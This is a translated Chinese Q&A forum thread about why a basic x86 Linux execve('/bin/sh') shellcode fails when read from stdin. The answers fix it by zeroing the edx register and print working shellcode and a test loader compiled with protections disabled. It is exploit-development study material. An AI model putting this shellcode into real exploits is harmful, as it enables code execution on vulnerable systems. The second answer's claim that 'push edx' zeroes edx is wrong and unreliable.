从标准输入读取时,基本的 shellcode 不起作用

逆向工程 x86 linux 外壳代码
2021-06-21 09:51:12

我正在开发一个基本的 shellcode,它将在 32 位程序中被调用后生成一个 shell。这是我正在使用的shellcode:

xor    %eax,%eax  
push   %eax  
push   $0x68732f2f  
push   $0x6e69622f  
mov    %esp,%ebx  
push   %eax  
push   %ebx  
mov    %esp,%ecx  
mov    $0xb,%al  
int    $0x80  

(来源:http : //shell-storm.org/shellcode/files/shellcode-827.php

当我在被利用的程序中对其进行硬编码时,我成功地使用了这个 shellcode:

char *shellcode = "\x31[...]x80";  
int main(void)  
{  
    (*(void(*)()) shellcode)();  
    return 0;  
}  

但是当我尝试从标准输入读取 shellcode 时,我得到了一个分段错误。这是使用的程序:

#include [...]
typedef void (*func)(void);
int main(void)
{
    char input[4096];
    read(0, input, 4096);
    ((func)&input)();
    return 0;
}

当我用 gdb 调试这个程序时,我可以看到一切都按计划进行,直到这条指令:

int    $0x80

程序什么都不做,像什么都没发生一样继续下一条指令,这使程序崩溃。

起初我以为这是因为我没有禁用某些执行预防,但我正在使用以下标志进行编译:

gcc shell.c -o shell -fno-stack-protector -m32 -z execstack

我真的可以求助于它,我一整天都被困在它上面。

2个回答

给定的shellcode我无法获得shell。如果您strace在从堆栈中获取输入时使用二进制文件

execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = -1 EFAULT (Bad address)

char *const envp[]在未正确设置的 edx 寄存器中传递。为了修补这个我把shellcode改成了这个

 0:    31 c0                    xor    eax, eax
 2:    50                       push   eax
 3:    68 2f 2f 73 68           push   0x68732f2f
 8:    68 2f 62 69 6e           push   0x6e69622f
 d:    89 e3                    mov    ebx, esp
 f:    50                       push   eax
10:    53                       push   ebx
11:    89 e1                    mov    ecx, esp
13:    b0 0b                    mov    al, 0xb
15:    31 d2                    xor    edx, edx
17:    cd 80                    int    0x80

这将归零edx,execve 将成功运行。

execve("/bin//sh", ["/bin//sh"], NULL)  = 0

如果您在编译时存储了 shellcode,我认为edx指向 0 的地址是幸运的

sudhackar 给出了不同的回答,你可以在你的 shellcode 中添加push edx归零edx

xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
push edx
mov ecx, esp
mov al, 0xb
int 0x80